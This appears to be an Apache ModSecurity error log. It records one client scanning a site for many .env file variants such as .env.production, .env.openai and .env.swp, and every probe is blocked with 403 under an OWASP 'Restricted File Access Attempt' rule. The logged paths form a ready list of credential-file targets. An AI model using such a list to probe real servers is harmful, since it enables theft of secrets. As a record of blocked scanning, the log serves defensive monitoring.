[Mon Oct 26 22:24:28.593777 2026] [security2:error] [pid 3142612:tid 3142612] [client 35.205.254.119:33486] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "auALXHNS3DmvLoCS_mRi5AAAABg"]
[Mon Oct 26 22:24:28.594975 2026] [security2:error] [pid 3142606:tid 3142606] [client 35.205.254.119:33502] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "auALXJwShtd1X0LKqV8TSgAAABM"]
[Mon Oct 26 22:24:28.595103 2026] [security2:error] [pid 3142606:tid 3142606] [client 35.205.254.119:33502] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "auALXJwShtd1X0LKqV8TSgAAABM"]
[Mon Oct 26 22:24:28.595344 2026] [security2:error] [pid 3142606:tid 3142606] [client 35.205.254.119:33502] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "auALXJwShtd1X0LKqV8TSgAAABM"]
[Mon Oct 26 22:24:28.651806 2026] [security2:error] [pid 3142595:tid 3142595] [client 35.205.254.119:33484] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "auALXHfB5_cr2AuVp7R31AAAABA"]
[Mon Oct 26 22:24:28.651999 2026] [security2:error] [pid 3142595:tid 3142595] [client 35.205.254.119:33484] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "auALXHfB5_cr2AuVp7R31AAAABA"]
[Mon Oct 26 22:24:28.652270 2026] [security2:error] [pid 3142595:tid 3142595] [client 35.205.254.119:33484] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "auALXHfB5_cr2AuVp7R31AAAABA"]
[Mon Oct 26 22:24:28.653807 2026] [security2:error] [pid 3142581:tid 3142581] [client 35.205.254.119:33536] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.php"] [unique_id "auALXONHR3WH6txPzi7mGwAAAA0"]
[Mon Oct 26 22:24:28.653959 2026] [security2:error] [pid 3142581:tid 3142581] [client 35.205.254.119:33536] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.php"] [unique_id "auALXONHR3WH6txPzi7mGwAAAA0"]
[Mon Oct 26 22:24:28.654214 2026] [security2:error] [pid 3142581:tid 3142581] [client 35.205.254.119:33536] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.php"] [unique_id "auALXONHR3WH6txPzi7mGwAAAA0"]
[Mon Oct 26 22:24:28.654600 2026] [security2:error] [pid 3142580:tid 3142580] [client 35.205.254.119:33512] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.openai"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.openai"] [unique_id "auALXFEGzjBJO_o-KWJAdwAAAAw"]
[Mon Oct 26 22:24:28.654747 2026] [security2:error] [pid 3142580:tid 3142580] [client 35.205.254.119:33512] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.openai"] [unique_id "auALXFEGzjBJO_o-KWJAdwAAAAw"]
[Mon Oct 26 22:24:28.655023 2026] [security2:error] [pid 3142580:tid 3142580] [client 35.205.254.119:33512] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.openai"] [unique_id "auALXFEGzjBJO_o-KWJAdwAAAAw"]
[Mon Oct 26 22:24:28.655253 2026] [security2:error] [pid 3142605:tid 3142605] [client 35.205.254.119:33518] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "auALXEV4AUzwl86DWirnKwAAABI"]
[Mon Oct 26 22:24:28.655424 2026] [security2:error] [pid 3142605:tid 3142605] [client 35.205.254.119:33518] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "auALXEV4AUzwl86DWirnKwAAABI"]
[Mon Oct 26 22:24:28.655636 2026] [security2:error] [pid 3142605:tid 3142605] [client 35.205.254.119:33518] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "auALXEV4AUzwl86DWirnKwAAABI"]
[Mon Oct 26 22:24:28.656542 2026] [security2:error] [pid 3098114:tid 3098114] [client 35.205.254.119:33516] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "auALXIU8RArHmY5bTmWw7QAAAAY"]
[Mon Oct 26 22:24:28.675151 2026] [security2:error] [pid 3098114:tid 3098114] [client 35.205.254.119:33516] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "auALXIU8RArHmY5bTmWw7QAAAAY"]
[Mon Oct 26 22:24:28.675372 2026] [security2:error] [pid 3098114:tid 3098114] [client 35.205.254.119:33516] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "auALXIU8RArHmY5bTmWw7QAAAAY"]
[Mon Oct 26 22:24:28.669037 2026] [security2:error] [pid 3142612:tid 3142612] [client 35.205.254.119:33486] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "auALXHNS3DmvLoCS_mRi5QAAABg"]
[Mon Oct 26 22:24:28.686720 2026] [security2:error] [pid 3142612:tid 3142612] [client 35.205.254.119:33486] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "auALXHNS3DmvLoCS_mRi5QAAABg"]
[Mon Oct 26 22:24:28.687111 2026] [security2:error] [pid 3142612:tid 3142612] [client 35.205.254.119:33486] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "auALXHNS3DmvLoCS_mRi5QAAABg"]
[Mon Oct 26 22:24:28.670725 2026] [security2:error] [pid 3142606:tid 3142606] [client 35.205.254.119:33502] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "auALXJwShtd1X0LKqV8TSwAAABM"]
[Mon Oct 26 22:24:28.687417 2026] [security2:error] [pid 3142606:tid 3142606] [client 35.205.254.119:33502] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "auALXJwShtd1X0LKqV8TSwAAABM"]
[Mon Oct 26 22:24:28.687746 2026] [security2:error] [pid 3142606:tid 3142606] [client 35.205.254.119:33502] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "auALXJwShtd1X0LKqV8TSwAAABM"]
[Mon Oct 26 22:24:28.727876 2026] [security2:error] [pid 3142595:tid 3142595] [client 35.205.254.119:33484] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "auALXHfB5_cr2AuVp7R31QAAABA"]
[Mon Oct 26 22:24:28.728041 2026] [security2:error] [pid 3142595:tid 3142595] [client 35.205.254.119:33484] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "auALXHfB5_cr2AuVp7R31QAAABA"]
[Mon Oct 26 22:24:28.728309 2026] [security2:error] [pid 3142595:tid 3142595] [client 35.205.254.119:33484] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "auALXHfB5_cr2AuVp7R31QAAABA"]
[Mon Oct 26 22:24:28.729444 2026] [security2:error] [pid 3142581:tid 3142581] [client 35.205.254.119:33536] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "auALXONHR3WH6txPzi7mHAAAAA0"]
[Mon Oct 26 22:24:28.729576 2026] [security2:error] [pid 3142581:tid 3142581] [client 35.205.254.119:33536] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "auALXONHR3WH6txPzi7mHAAAAA0"]
[Mon Oct 26 22:24:28.729789 2026] [security2:error] [pid 3142581:tid 3142581] [client 35.205.254.119:33536] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "auALXONHR3WH6txPzi7mHAAAAA0"]
[Mon Oct 26 22:24:28.732133 2026] [security2:error] [pid 3142605:tid 3142605] [client 35.205.254.119:33518] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.testing"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "auALXEV4AUzwl86DWirnLAAAABI"]
[Mon Oct 26 22:24:28.732264 2026] [security2:error] [pid 3142605:tid 3142605] [client 35.205.254.119:33518] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "auALXEV4AUzwl86DWirnLAAAABI"]
[Mon Oct 26 22:24:28.732472 2026] [security2:error] [pid 3142605:tid 3142605] [client 35.205.254.119:33518] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "auALXEV4AUzwl86DWirnLAAAABI"]
[Mon Oct 26 22:24:28.733421 2026] [security2:error] [pid 3142580:tid 3142580] [client 35.205.254.119:33512] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "auALXFEGzjBJO_o-KWJAeAAAAAw"]
[Mon Oct 26 22:24:28.733547 2026] [security2:error] [pid 3142580:tid 3142580] [client 35.205.254.119:33512] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "auALXFEGzjBJO_o-KWJAeAAAAAw"]
[Mon Oct 26 22:24:28.733752 2026] [security2:error] [pid 3142580:tid 3142580] [client 35.205.254.119:33512] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "auALXFEGzjBJO_o-KWJAeAAAAAw"]
[Mon Oct 26 22:24:28.751842 2026] [security2:error] [pid 3098114:tid 3098114] [client 35.205.254.119:33516] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env~"] [unique_id "auALXIU8RArHmY5bTmWw7gAAAAY"]
[Mon Oct 26 22:24:28.752048 2026] [security2:error] [pid 3098114:tid 3098114] [client 35.205.254.119:33516] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env~"] [unique_id "auALXIU8RArHmY5bTmWw7gAAAAY"]
[Mon Oct 26 22:24:28.752293 2026] [security2:error] [pid 3098114:tid 3098114] [client 35.205.254.119:33516] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env~"] [unique_id "auALXIU8RArHmY5bTmWw7gAAAAY"]
